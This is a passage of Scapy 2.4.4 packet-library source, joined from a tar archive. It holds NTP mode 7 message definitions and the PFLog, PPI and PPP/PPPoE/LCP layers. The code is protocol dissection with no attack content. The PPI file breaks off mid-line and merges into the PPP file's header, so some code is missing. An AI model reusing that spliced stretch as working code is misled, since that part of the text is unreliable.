"REQ_GET_CTLSTATS", 35: "REQ_GET_LEAPINFO", 36: "REQ_GET_CLOCKINFO", 37: "REQ_SET_CLKFUDGE", 38: "REQ_GET_KERNEL", 39: "REQ_GET_CLKBUGINFO", 41: "REQ_SET_PRECISION", 42: "REQ_MON_GETLIST_1", 43: "REQ_HOSTNAME_ASSOCID", 44: "REQ_IF_STATS", 45: "REQ_IF_RELOAD" } class NTPPrivateReqPacketListField(PacketListField): """ Handles specific request packets. """ # See ntpdc/ntpdc.c and ntpdc/ntpdc_ops.c def m2i(self, pkt, s): ret = None if pkt.request_code == 2 or pkt.request_code == 3: # REQ_PEER_INFO (see ntpdc/ntpdc_ops.c: showpeer()) # REQ_PEER_STATS (for request only) ret = NTPInfoPeerList(s) elif pkt.request_code == 10: # REQ_CONFIG ret = NTPConfPeer(s) elif pkt.request_code == 11: # REQ_CONFIG ret = NTPConfUnpeer(s) elif pkt.request_code == 17: # REQ_RESADDFLAGS ret = NTPConfRestrict(s) elif pkt.request_code == 18: # REQ_RESSUBFLAGS ret = NTPConfRestrict(s) elif pkt.request_code == 22: # REQ_RESET_PEER ret = NTPConfUnpeer(s) elif pkt.request_code == 30 or pkt.request_code == 31: # REQ_ADD_TRAP ret = NTPConfTrap(s) else: ret = NTPPrivateReqPacket(s) return ret def getfield(self, pkt, s): lst = [] remain = s length = pkt.data_item_size if length > 0: item_counter = 0 while len(remain) >= pkt.data_item_size * pkt.nb_items and item_counter < pkt.nb_items: # noqa: E501 current = remain[:length] remain = remain[length:] current_packet = self.m2i(pkt, current) lst.append(current_packet) item_counter += 1 # If "auth" bit is set, don't forget the padding bytes if pkt.auth: padding_end = len(remain) - _NTP_PRIVATE_REQ_PKT_TAIL_LEN current_packet = conf.raw_layer(remain[:padding_end]) lst.append(current_packet) remain = remain[padding_end:] return remain, lst class NTPPrivatePktTail(Packet): """ include/ntp_request.h The req_pkt_tail structure is used by ntpd to adjust for different packet sizes that may arrive. """ name = "req_pkt_tail" fields_desc = [ TimeStampField("tstamp", 0), IntField("key_id", 0), XStrFixedLenField( "dgst", "", length_from=lambda x: _NTP_AUTH_MD5_DGST_SIZE) ] class NTPPrivate(NTP): """ Packet handling the private (mode 7) messages. """ ######################################################################### # ntpd source code: ntp_request.h ######################################################################### # # A mode 7 packet is used exchanging data between an NTP server # and a client for purposes other than time synchronization, e.g. # monitoring, statistics gathering and configuration. A mode 7 # packet has the following format: # # 0 1 2 3 # 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # |R|M| VN | Mode|A| Sequence | Implementation| Req Code | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | Err | Number of data items | MBZ | Size of data item | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | | # | Data (Minimum 0 octets, maximum 500 octets) | # | | # [...] | # | | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | Encryption Keyid (when A bit set) | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # | | # | Message Authentication Code (when A bit set) | # | | # +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ # # where the fields are (note that the client sends requests, the server # responses): # # Response Bit: This packet is a response (if clear, packet is a request). # # More Bit: Set for all packets but the last in a response which # requires more than one packet. # # Version Number: 2 for current version # # Mode: Always 7 # # Authenticated bit: If set, this packet is authenticated. # # Sequence number: For a multipacket response, contains the sequence # number of this packet. 0 is the first in the sequence, # 127 (or less) is the last. The More Bit must be set in # all packets but the last. # # Implementation number: The number of the implementation this request code # is defined by. An implementation number of zero is used # for request codes/data formats which all implementations # agree on. Implementation number 255 is reserved (for # extensions, in case we run out). # # Request code: An implementation-specific code which specifies the # operation to be (which has been) performed and/or the # format and semantics of the data included in the packet. # # Err: Must be 0 for a request. For a response, holds an error # code relating to the request. If nonzero, the operation # requested wasn't performed. # # 0 - no error # 1 - incompatible implementation number # 2 - unimplemented request code # 3 - format error (wrong data items, data size, packet size etc.) # noqa: E501 # 4 - no data available (e.g. request for details on unknown peer) # noqa: E501 # 5-6 I don"t know # 7 - authentication failure (i.e. permission denied) # # Number of data items: number of data items in packet. 0 to 500 # # MBZ: A reserved data field, must be zero in requests and responses. # # Size of data item: size of each data item in packet. 0 to 500 # # Data: Variable sized area containing request/response data. For # requests and responses the size in octets must be greater # than or equal to the product of the number of data items # and the size of a data item. For requests the data area # must be exactly 40 octets in length. For responses the # data area may be any length between 0 and 500 octets # inclusive. # # Message Authentication Code: Same as NTP spec, in definition and function. # noqa: E501 # May optionally be included in requests which require # authentication, is never included in responses. # # The version number, mode and keyid have the same function and are # in the same location as a standard NTP packet. The request packet # is the same size as a standard NTP packet to ease receive buffer # management, and to allow the same encryption procedure to be used # both on mode 7 and standard NTP packets. The mac is included when # it is required that a request be authenticated, the keyid should be # zero in requests in which the mac is not included. # # The data format depends on the implementation number/request code pair # and whether the packet is a request or a response. The only requirement # is that data items start in the octet immediately following the size # word and that data items be concatenated without padding between (i.e. # if the data area is larger than data_items*size, all padding is at # the end). Padding is ignored, other than for encryption purposes. # Implementations using encryption might want to include a time stamp # or other data in the request packet padding. The key used for requests # is implementation defined, but key 15 is suggested as a default. ######################################################################### # name = "Private (mode 7)" match_subclass = True fields_desc = [ BitField("response", 0, 1), BitField("more", 0, 1), BitField("version", 2, 3), BitField("mode", 0, 3), BitField("auth", 0, 1), BitField("seq", 0, 7), ByteEnumField("implementation", 0, _implementations), ByteEnumField("request_code", 0, _request_codes), BitEnumField("err", 0, 4, _ntpd_private_errors), BitField("nb_items", 0, 12), BitField("mbz", 0, 4), BitField("data_item_size", 0, 12), ConditionalField( NTPPrivateReqPacketListField( "req_data", [], Packet, length_from=lambda p: p.data_item_size, count_from=lambda p: p.nb_items ), lambda p: p.response == 0 ), # Responses ConditionalField( NTPPrivateRespPacketListField( "data", [], Packet, length_from=lambda p: p.data_item_size, count_from=lambda p: p.nb_items ), lambda p: p.response == 1 ), # Responses are not supposed to be authenticated ConditionalField(PacketField("authenticator", "", NTPPrivatePktTail), lambda p: p.response == 0 and p.auth == 1), ] ############################################################################## # Layer bindings ############################################################################## bind_layers(UDP, NTP, {"sport": 123}) bind_layers(UDP, NTP, {"dport": 123}) bind_layers(UDP, NTP, {"sport": 123, "dport": 123}) scapy-2.4.4/scapy/layers/pflog.py000066400000000000000000000057431372370053500167550ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license """ PFLog: OpenBSD PF packet filter logging. """ import socket from scapy.data import DLT_PFLOG from scapy.packet import Packet, bind_layers from scapy.fields import ByteEnumField, ByteField, IntField, SignedIntField, \ StrFixedLenField from scapy.layers.inet import IP from scapy.config import conf if conf.ipv6_enabled: from scapy.layers.inet6 import IPv6 class PFLog(Packet): name = "PFLog" # from OpenBSD src/sys/net/pfvar.h and src/sys/net/if_pflog.h fields_desc = [ByteField("hdrlen", 0), ByteEnumField("addrfamily", 2, {socket.AF_INET: "IPv4", socket.AF_INET6: "IPv6"}), ByteEnumField("action", 1, {0: "pass", 1: "drop", 2: "scrub", 3: "no-scrub", 4: "nat", 5: "no-nat", 6: "binat", 7: "no-binat", 8: "rdr", 9: "no-rdr", 10: "syn-proxy-drop"}), ByteEnumField("reason", 0, {0: "match", 1: "bad-offset", 2: "fragment", 3: "short", 4: "normalize", 5: "memory", 6: "bad-timestamp", 7: "congestion", 8: "ip-options", 9: "proto-cksum", 10: "state-mismatch", 11: "state-insert", 12: "state-limit", 13: "src-limit", 14: "syn-proxy"}), StrFixedLenField("iface", "", 16), StrFixedLenField("ruleset", "", 16), SignedIntField("rulenumber", 0), SignedIntField("subrulenumber", 0), SignedIntField("uid", 0), IntField("pid", 0), SignedIntField("ruleuid", 0), IntField("rulepid", 0), ByteEnumField("direction", 255, {0: "inout", 1: "in", 2: "out", 255: "unknown"}), StrFixedLenField("pad", b"\x00\x00\x00", 3)] def mysummary(self): return self.sprintf("%PFLog.addrfamily% %PFLog.action% on %PFLog.iface% by rule %PFLog.rulenumber%") # noqa: E501 bind_layers(PFLog, IP, addrfamily=socket.AF_INET) if conf.ipv6_enabled: bind_layers(PFLog, IPv6, addrfamily=socket.AF_INET6) conf.l2types.register(DLT_PFLOG, PFLog) scapy-2.4.4/scapy/layers/ppi.py000066400000000000000000000057121372370053500164320ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Scapy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # any later version. # # Scapy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Scapy. If not, see . # Original PPI author: # scapy.contrib.description = CACE Per-Packet Information (PPI) header # scapy.contrib.status = loads """ CACE Per-Packet Information (PPI) header. A method for adding metadata to link-layer packets. For example, one can tag an 802.11 packet with GPS coordinates of where it was captured, and include it in the PCAP file. New PPI types should: * Make their packet a subclass of ``PPI_Element`` * Call ``bind_layers(PPI_Hdr, ExamplePPI, pfh_type=0xffff)`` See ``layers/contrib/ppi_cace.py`` for an example. """ from scapy.config import conf from scapy.data import DLT_PPI, PPI_TYPES from scapy.error import warning from scapy.packet import Packet from scapy.fields import ByteField, FieldLenField, LEIntField, \ PacketListField, LEShortEnumField, LenField class PPI_Hdr(Packet): name = 'PPI Header' fields_desc = [ LEShortEnumField('pfh_type', 0, PPI_TYPES), LenField('pfh_length', None, fmt=' # This program is published under a GPLv2 license """ PPP (Point to Point Protocol) [RFC 1661] """ import struct from scapy.config import conf from scapy.data import DLT_PPP, DLT_PPP_SERIAL, DLT_PPP_ETHER, \ DLT_PPP_WITH_DIR from scapy.compat import orb from scapy.packet import Packet, bind_layers from scapy.layers.eap import EAP from scapy.layers.l2 import Ether, CookedLinux, GRE_PPTP from scapy.layers.inet import IP from scapy.layers.inet6 import IPv6 from scapy.fields import BitField, ByteEnumField, ByteField, \ ConditionalField, EnumField, FieldLenField, IntField, IPField, \ PacketListField, PacketField, ShortEnumField, ShortField, \ StrFixedLenField, StrLenField, XByteField, XShortField, XStrLenField from scapy.modules import six class PPPoE(Packet): name = "PPP over Ethernet" fields_desc = [BitField("version", 1, 4), BitField("type", 1, 4), ByteEnumField("code", 0, {0: "Session"}), XShortField("sessionid", 0x0), ShortField("len", None)] def post_build(self, p, pay): p += pay if self.len is None: tmp_len = len(p) - 6 p = p[:4] + struct.pack("!H", tmp_len) + p[6:] return p # PPPoE Active Discovery Code fields (RFC2516, RFC5578) class PPPoED(PPPoE): name = "PPP over Ethernet Discovery" code_list = {0x00: "PPP Session Stage", 0x09: "PPPoE Active Discovery Initiation (PADI)", 0x07: "PPPoE Active Discovery Offer (PADO)", 0x0a: "PPPoE Active Discovery Session-Grant (PADG)", 0x0b: "PPPoE Active Discovery Session-Credit Response (PADC)", 0x0c: "PPPoE Active Discovery Quality (PADQ)", 0x19: "PPPoE Active Discovery Request (PADR)", 0x65: "PPPoE Active Discovery Session-confirmation (PADS)", 0xa7: "PPPoE Active Discovery Terminate (PADT)"} fields_desc = [BitField("version", 1, 4), BitField("type", 1, 4), ByteEnumField("code", 0x09, code_list), XShortField("sessionid", 0x0), ShortField("len", None)] # PPPoE Tag types (RFC2516, RFC4638, RFC5578) class PPPoETag(Packet): name = "PPPoE Tag" tag_list = {0x0000: 'End-Of-List', 0x0101: 'Service-Name', 0x0102: 'AC-Name', 0x0103: 'Host-Uniq', 0x0104: 'AC-Cookie', 0x0105: 'Vendor-Specific', 0x0106: 'Credits', 0x0107: 'Metrics', 0x0108: 'Sequence Number', 0x0109: 'Credit Scale Factor', 0x0110: 'Relay-Session-Id', 0x0120: 'PPP-Max-Payload', 0x0201: 'Service-Name-Error', 0x0202: 'AC-System-Error', 0x0203: 'Generic-Error'} fields_desc = [ ShortEnumField('tag_type', None, tag_list), FieldLenField('tag_len', None, length_of='tag_value', fmt='H'), StrLenField('tag_value', '', length_from=lambda pkt:pkt.tag_len) ] def extract_padding(self, s): return '', s class PPPoED_Tags(Packet): name = "PPPoE Tag List" fields_desc = [PacketListField('tag_list', None, PPPoETag)] _PPP_PROTOCOLS = { 0x0001: "Padding Protocol", 0x0003: "ROHC small-CID [RFC3095]", 0x0005: "ROHC large-CID [RFC3095]", 0x0021: "Internet Protocol version 4", 0x0023: "OSI Network Layer", 0x0025: "Xerox NS IDP", 0x0027: "DECnet Phase IV", 0x0029: "Appletalk", 0x002b: "Novell IPX", 0x002d: "Van Jacobson Compressed TCP/IP", 0x002f: "Van Jacobson Uncompressed TCP/IP", 0x0031: "Bridging PDU", 0x0033: "Stream Protocol (ST-II)", 0x0035: "Banyan Vines", 0x0037: "reserved (until 1993) [Typo in RFC1172]", 0x0039: "AppleTalk EDDP", 0x003b: "AppleTalk SmartBuffered", 0x003d: "Multi-Link [RFC1717]", 0x003f: "NETBIOS Framing", 0x0041: "Cisco Systems", 0x0043: "Ascom Timeplex", 0x0045: "Fujitsu Link Backup and Load Balancing (LBLB)", 0x0047: "DCA Remote Lan", 0x0049: "Serial Data Transport Protocol (PPP-SDTP)", 0x004b: "SNA over 802.2", 0x004d: "SNA", 0x004f: "IPv6 Header Compression", 0x0051: "KNX Bridging Data [ianp]", 0x0053: "Encryption [Meyer]", 0x0055: "Individual Link Encryption [Meyer]", 0x0057: "Internet Protocol version 6 [Hinden]", 0x0059: "PPP Muxing [RFC3153]", 0x005b: "Vendor-Specific Network Protocol (VSNP) [RFC3772]", 0x0061: "RTP IPHC Full Header [RFC3544]", 0x0063: "RTP IPHC Compressed TCP [RFC3544]", 0x0065: "RTP IPHC Compressed Non TCP [RFC3544]", 0x0067: "RTP IPHC Compressed UDP 8 [RFC3544]", 0x0069: "RTP IPHC Compressed RTP 8 [RFC3544]", 0x006f: "Stampede Bridging", 0x0071: "Reserved [Fox]", 0x0073: "MP+ Protocol [Smith]", 0x007d: "reserved (Control Escape) [RFC1661]", 0x007f: "reserved (compression inefficient [RFC1662]", 0x0081: "Reserved Until 20-Oct-2000 [IANA]", 0x0083: "Reserved Until 20-Oct-2000 [IANA]", 0x00c1: "NTCITS IPI [Ungar]", 0x00cf: "reserved (PPP NLID)", 0x00fb: "single link compression in multilink [RFC1962]", 0x00fd: "compressed datagram [RFC1962]", 0x00ff: "reserved (compression inefficient)", 0x0201: "802.1d Hello Packets", 0x0203: "IBM Source Routing BPDU", 0x0205: "DEC LANBridge100 Spanning Tree", 0x0207: "Cisco Discovery Protocol [Sastry]", 0x0209: "Netcs Twin Routing [Korfmacher]", 0x020b: "STP - Scheduled Transfer Protocol [Segal]", 0x020d: "EDP - Extreme Discovery Protocol [Grosser]", 0x0211: "Optical Supervisory Channel Protocol (OSCP)[Prasad]", 0x0213: "Optical Supervisory Channel Protocol (OSCP)[Prasad]", 0x0231: "Luxcom", 0x0233: "Sigma Network Systems", 0x0235: "Apple Client Server Protocol [Ridenour]", 0x0281: "MPLS Unicast [RFC3032] ", 0x0283: "MPLS Multicast [RFC3032]", 0x0285: "IEEE p1284.4 standard - data packets [Batchelder]", 0x0287: "ETSI TETRA Network Protocol Type 1 [Nieminen]", 0x0289: "Multichannel Flow Treatment Protocol [McCann]", 0x2063: "RTP IPHC Compressed TCP No Delta [RFC3544]", 0x2065: "RTP IPHC Context State [RFC3544]", 0x2067: "RTP IPHC Compressed UDP 16 [RFC3544]", 0x2069: "RTP IPHC Compressed RTP 16 [RFC3544]", 0x4001: "Cray Communications Control Protocol [Stage]", 0x4003: "CDPD Mobile Network Registration Protocol [Quick]", 0x4005: "Expand accelerator protocol [Rachmani]", 0x4007: "ODSICP NCP [Arvind]", 0x4009: "DOCSIS DLL [Gaedtke]", 0x400B: "Cetacean Network Detection Protocol [Siller]", 0x4021: "Stacker LZS [Simpson]", 0x4023: "RefTek Protocol [Banfill]", 0x4025: "Fibre Channel [Rajagopal]", 0x4027: "EMIT Protocols [Eastham]", 0x405b: "Vendor-Specific Protocol (VSP) [RFC3772]", 0x8021: "Internet Protocol Control Protocol", 0x8023: "OSI Network Layer Control Protocol", 0x8025: "Xerox NS IDP Control Protocol", 0x8027: "DECnet Phase IV Control Protocol", 0x8029: "Appletalk Control Protocol", 0x802b: "Novell IPX Control Protocol", 0x802d: "reserved", 0x802f: "reserved", 0x8031: "Bridging NCP", 0x8033: "Stream Protocol Control Protocol", 0x8035: "Banyan Vines Control Protocol", 0x8037: "reserved (until 1993)", 0x8039: "reserved", 0x803b: "reserved", 0x803d: "Multi-Link Control Protocol", 0x803f: "NETBIOS Framing Control Protocol", 0x8041: "Cisco Systems Control Protocol", 0x8043: "Ascom Timeplex", 0x8045: "Fujitsu LBLB Control Protocol", 0x8047: "DCA Remote Lan Network Control Protocol (RLNCP)", 0x8049: "Serial Data Control Protocol (PPP-SDCP)", 0x804b: "SNA over 802.2 Control Protocol", 0x804d: "SNA Control Protocol", 0x804f: "IP6 Header Compression Control Protocol", 0x8051: "KNX Bridging Control Protocol [ianp]", 0x8053: "Encryption Control Protocol [Meyer]", 0x8055: "Individual Link Encryption Control Protocol [Meyer]", 0x8057: "IPv6 Control Protovol [Hinden]", 0x8059: "PPP Muxing Control Protocol [RFC3153]", 0x805b: "Vendor-Specific Network Control Protocol (VSNCP) [RFC3772]", 0x806f: "Stampede Bridging Control Protocol", 0x8073: "MP+ Control Protocol [Smith]", 0x8071: "Reserved [Fox]", 0x807d: "Not Used - reserved [RFC1661]", 0x8081: "Reserved Until 20-Oct-2000 [IANA]", 0x8083: "Reserved Until 20-Oct-2000 [IANA]", 0x80c1: "NTCITS IPI Control Protocol [Ungar]", 0x80cf: "Not Used - reserved [RFC1661]", 0x80fb: "single link compression in multilink control [RFC1962]", 0x80fd: "Compression Control Protocol [RFC1962]", 0x80ff: "Not Used - reserved [RFC1661]", 0x8207: "Cisco Discovery Protocol Control [Sastry]", 0x8209: "Netcs Twin Routing [Korfmacher]", 0x820b: "STP - Control Protocol [Segal]", 0x820d: "EDPCP - Extreme Discovery Protocol Ctrl Prtcl [Grosser]", 0x8235: "Apple Client Server Protocol Control [Ridenour]", 0x8281: "MPLSCP [RFC3032]", 0x8285: "IEEE p1284.4 standard - Protocol Control [Batchelder]", 0x8287: "ETSI TETRA TNP1 Control Protocol [Nieminen]", 0x8289: "Multichannel Flow Treatment Protocol [McCann]", 0xc021: "Link Control Protocol", 0xc023: "Password Authentication Protocol", 0xc025: "Link Quality Report", 0xc027: "Shiva Password Authentication Protocol", 0xc029: "CallBack Control Protocol (CBCP)", 0xc02b: "BACP Bandwidth Allocation Control Protocol [RFC2125]", 0xc02d: "BAP [RFC2125]", 0xc05b: "Vendor-Specific Authentication Protocol (VSAP) [RFC3772]", 0xc081: "Container Control Protocol [KEN]", 0xc223: "Challenge Handshake Authentication Protocol", 0xc225: "RSA Authentication Protocol [Narayana]", 0xc227: "Extensible Authentication Protocol [RFC2284]", 0xc229: "Mitsubishi Security Info Exch Ptcl (SIEP) [Seno]", 0xc26f: "Stampede Bridging Authorization Protocol", 0xc281: "Proprietary Authentication Protocol [KEN]", 0xc283: "Proprietary Authentication Protocol [Tackabury]", 0xc481: "Proprietary Node ID Authentication Protocol [KEN]", } class HDLC(Packet): fields_desc = [XByteField("address", 0xff), XByteField("control", 0x03)] # LINKTYPE_PPP_WITH_DIR class DIR_PPP(Packet): fields_desc = [ByteEnumField("direction", 0, ["received", "sent"])] class _PPPProtoField(EnumField): """ A field that can be either Byte or Short, depending on the PPP RFC. See RFC 1661 section 2 """ def getfield(self, pkt, s): if ord(s[:1]) & 0x01: self.fmt = "!B" self.sz = 1 else: self.fmt = "!H" self.sz = 2 self.struct = struct.Struct(self.fmt) return super(_PPPProtoField, self).getfield(pkt, s) def addfield(self, pkt, s, val): if val < 0x100: self.fmt = "!B" self.sz = 1 else: self.fmt = "!H" self.sz = 2 self.struct = struct.Struct(self.fmt) return super(_PPPProtoField, self).addfield(pkt, s, val) class PPP(Packet): name = "PPP Link Layer" fields_desc = [_PPPProtoField("proto", 0x0021, _PPP_PROTOCOLS)] @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and _pkt[:1] == b'\xff': return HDLC return cls _PPP_conftypes = {1: "Configure-Request", 2: "Configure-Ack", 3: "Configure-Nak", 4: "Configure-Reject", 5: "Terminate-Request", 6: "Terminate-Ack", 7: "Code-Reject", 8: "Protocol-Reject", 9: "Echo-Request", 10: "Echo-Reply", 11: "Discard-Request", 14: "Reset-Request", 15: "Reset-Ack", } # PPP IPCP stuff (RFC 1332) # All IPCP options are defined below (names and associated classes) _PPP_ipcpopttypes = {1: "IP-Addresses (Deprecated)", 2: "IP-Compression-Protocol", 3: "IP-Address", # not implemented, present for completeness 4: "Mobile-IPv4", 129: "Primary-DNS-Address", 130: "Primary-NBNS-Address", 131: "Secondary-DNS-Address", 132: "Secondary-NBNS-Address"} class PPP_IPCP_Option(Packet): name = "PPP IPCP Option" fields_desc = [ ByteEnumField("type", None, _PPP_ipcpopttypes), FieldLenField("len", None, length_of="data", fmt="B", adjust=lambda _, val: val + 2), StrLenField("data", "", length_from=lambda pkt: max(0, pkt.len - 2)), ] def extract_padding(self, pay): return b"", pay registered_options = {} @classmethod def register_variant(cls): cls.registered_options[cls.type.default] = cls @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt: o = orb(_pkt[0]) return cls.registered_options.get(o, cls) return cls class PPP_IPCP_Option_IPAddress(PPP_IPCP_Option): name = "PPP IPCP Option: IP Address" fields_desc = [ ByteEnumField("type", 3, _PPP_ipcpopttypes), FieldLenField("len", None, length_of="data", fmt="B", adjust=lambda _, val: val + 2), IPField("data", "0.0.0.0"), StrLenField("garbage", "", length_from=lambda pkt: pkt.len - 6), ] class PPP_IPCP_Option_DNS1(PPP_IPCP_Option_IPAddress): name = "PPP IPCP Option: DNS1 Address" type = 129 class PPP_IPCP_Option_DNS2(PPP_IPCP_Option_IPAddress): name = "PPP IPCP Option: DNS2 Address" type = 131 class PPP_IPCP_Option_NBNS1(PPP_IPCP_Option_IPAddress): name = "PPP IPCP Option: NBNS1 Address" type = 130 class PPP_IPCP_Option_NBNS2(PPP_IPCP_Option_IPAddress): name = "PPP IPCP Option: NBNS2 Address" type = 132 class PPP_IPCP(Packet): fields_desc = [ ByteEnumField("code", 1, _PPP_conftypes), XByteField("id", 0), FieldLenField("len", None, fmt="H", length_of="options", adjust=lambda _, val: val + 4), PacketListField("options", [], PPP_IPCP_Option, length_from=lambda pkt: pkt.len - 4) ] # ECP _PPP_ecpopttypes = {0: "OUI", 1: "DESE", } class PPP_ECP_Option(Packet): name = "PPP ECP Option" fields_desc = [ ByteEnumField("type", None, _PPP_ecpopttypes), FieldLenField("len", None, length_of="data", fmt="B", adjust=lambda _, val: val + 2), StrLenField("data", "", length_from=lambda pkt: max(0, pkt.len - 2)), ] def extract_padding(self, pay): return b"", pay registered_options = {} @classmethod def register_variant(cls): cls.registered_options[cls.type.default] = cls @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt: o = orb(_pkt[0]) return cls.registered_options.get(o, cls) return cls class PPP_ECP_Option_OUI(PPP_ECP_Option): fields_desc = [ ByteEnumField("type", 0, _PPP_ecpopttypes), FieldLenField("len", None, length_of="data", fmt="B", adjust=lambda _, val: val + 6), StrFixedLenField("oui", "", 3), ByteField("subtype", 0), StrLenField("data", "", length_from=lambda pkt: pkt.len - 6), ] class PPP_ECP(Packet): fields_desc = [ ByteEnumField("code", 1, _PPP_conftypes), XByteField("id", 0), FieldLenField("len", None, fmt="H", length_of="options", adjust=lambda _, val: val + 4), PacketListField("options", [], PPP_ECP_Option, length_from=lambda pkt: pkt.len - 4), ] # Link Control Protocol (RFC 1661) _PPP_lcptypes = {1: "Configure-Request", 2: "Configure-Ack", 3: "Configure-Nak", 4: "Configure-Reject", 5: "Terminate-Request", 6: "Terminate-Ack", 7: "Code-Reject", 8: "Protocol-Reject", 9: "Echo-Request", 10: "Echo-Reply", 11: "Discard-Request"} class PPP_LCP(Packet): name = "PPP Link Control Protocol" fields_desc = [ ByteEnumField("code", 5, _PPP_lcptypes), XByteField("id", 0), FieldLenField("len", None, fmt="H", length_of="data", adjust=lambda _, val: val + 4), StrLenField("data", "", length_from=lambda pkt: pkt.len - 4), ] def mysummary(self): return self.sprintf('LCP %code%') def extract_padding(self, pay): return b"", pay @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt: o = orb(_pkt[0]) if o in [1, 2, 3, 4]: return PPP_LCP_Configure elif o in [5, 6]: return PPP_LCP_Terminate elif o == 7: return PPP_LCP_Code_Reject elif o == 8: return PPP_LCP_Protocol_Reject elif o in [9, 10]: return PPP_LCP_Echo elif o == 11: return PPP_LCP_Discard_Request else: return cls return cls _PPP_lcp_optiontypes = {1: "Maximum-Receive-Unit", 2: "Async-Control-Character-Map", 3: "Authentication-protocol", 4: "Quality-protocol", 5: "Magic-number", 7: "Protocol-Field-Compression", 8: "Address-and-Control-Field-Compression", 13: "Callback"} class PPP_LCP_Option(Packet): name = "PPP LCP Option" fields_desc = [ ByteEnumField("type", None, _PPP_lcp_optiontypes), FieldLenField("len", None, fmt="B", length_of="data", adjust=lambda _, val: val + 2), StrLenField("data", None, length_from=lambda pkt: pkt.len - 2), ] def extract_padding(self, pay): return b"", pay registered_options = {} @classmethod def register_variant(cls): cls.registered_options[cls.type.default] = cls @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt: o = orb(_pkt[0]) return cls.registered_options.get(o, cls) return cls class PPP_LCP_MRU_Option(PPP_LCP_Option): fields_desc = [ByteEnumField("type", 1, _PPP_lcp_optiontypes), ByteField("len", 4), ShortField("max_recv_unit", 1500)] _PPP_LCP_auth_protocols = { 0xc023: "Password authentication protocol", 0xc223: "Challenge-response authentication protocol", 0xc227: "PPP Extensible authentication protocol", } _PPP_LCP_CHAP_algorithms = { 5: "MD5", 6: "SHA1", 128: "MS-CHAP", 129: "MS-CHAP-v2", } class PPP_LCP_ACCM_Option(PPP_LCP_Option): fields_desc = [ ByteEnumField("type", 2, _PPP_lcp_optiontypes), ByteField("len", 6), BitField("accm", 0x00000000, 32), ] def adjust_auth_len(pkt, x): if pkt.auth_protocol == 0xc223: return 5 elif pkt.auth_protocol == 0xc023: return 4 else: return x + 4 class PPP_LCP_Auth_Protocol_Option(PPP_LCP_Option): fields_desc = [ ByteEnumField("type", 3, _PPP_lcp_optiontypes), FieldLenField("len", None, fmt="B", length_of="data", adjust=adjust_auth_len), ShortEnumField("auth_protocol", 0xc023, _PPP_LCP_auth_protocols), ConditionalField( StrLenField("data", '', length_from=lambda pkt: pkt.len - 4), lambda pkt: pkt.auth_protocol != 0xc223 ), ConditionalField( ByteEnumField("algorithm", 5, _PPP_LCP_CHAP_algorithms), lambda pkt: pkt.auth_protocol == 0xc223 ), ] _PPP_LCP_quality_protocols = {0xc025: "Link Quality Report"} class PPP_LCP_Quality_Protocol_Option(PPP_LCP_Option): fields_desc = [ ByteEnumField("type", 4, _PPP_lcp_optiontypes), FieldLenField("len", None, fmt="B", length_of="data", adjust=lambda _, val: val + 4), ShortEnumField("quality_protocol", 0xc025, _PPP_LCP_quality_protocols), StrLenField("data", "", length_from=lambda pkt: pkt.len - 4), ] class PPP_LCP_Magic_Number_Option(PPP_LCP_Option): fields_desc = [ ByteEnumField("type", 5, _PPP_lcp_optiontypes), ByteField("len", 6), IntField("magic_number", None), ] _PPP_lcp_callback_operations = { 0: "Location determined by user authentication", 1: "Dialing string", 2: "Location identifier", 3: "E.164 number", 4: "Distinguished name", } class PPP_LCP_Callback_Option(PPP_LCP_Option): fields_desc = [ ByteEnumField("type", 13, _PPP_lcp_optiontypes), FieldLenField("len", None, fmt="B", length_of="message", adjust=lambda _, val: val + 3), ByteEnumField("operation", 0, _PPP_lcp_callback_operations), StrLenField("message", "", length_from=lambda pkt: pkt.len - 3) ] class PPP_LCP_Configure(PPP_LCP): fields_desc = [ ByteEnumField("code", 1, _PPP_lcptypes), XByteField("id", 0), FieldLenField("len", None, fmt="H", length_of="options", adjust=lambda _, val: val + 4), PacketListField("options", [], PPP_LCP_Option, length_from=lambda pkt: pkt.len - 4), ] def answers(self, other): return ( isinstance(other, PPP_LCP_Configure) and self.code in [2, 3, 4] and other.code == 1 and other.id == self.id ) class PPP_LCP_Terminate(PPP_LCP): def answers(self, other): return ( isinstance(other, PPP_LCP_Terminate) and self.code == 6 and other.code == 5 and other.id == self.id ) class PPP_LCP_Code_Reject(PPP_LCP): fields_desc = [ ByteEnumField("code", 7, _PPP_lcptypes), XByteField("id", 0), FieldLenField("len", None, fmt="H", length_of="rejected_packet", adjust=lambda _, val: val + 4), PacketField("rejected_packet", None, PPP_LCP), ] class PPP_LCP_Protocol_Reject(PPP_LCP): fields_desc = [ ByteEnumField("code", 8, _PPP_lcptypes), XByteField("id", 0), FieldLenField("len", None, fmt="H", length_of="rejected_information", adjust=lambda _, val: val + 6), ShortEnumField("rejected_protocol", None, _PPP_PROTOCOLS), PacketField("rejected_information", None, Packet), ] class 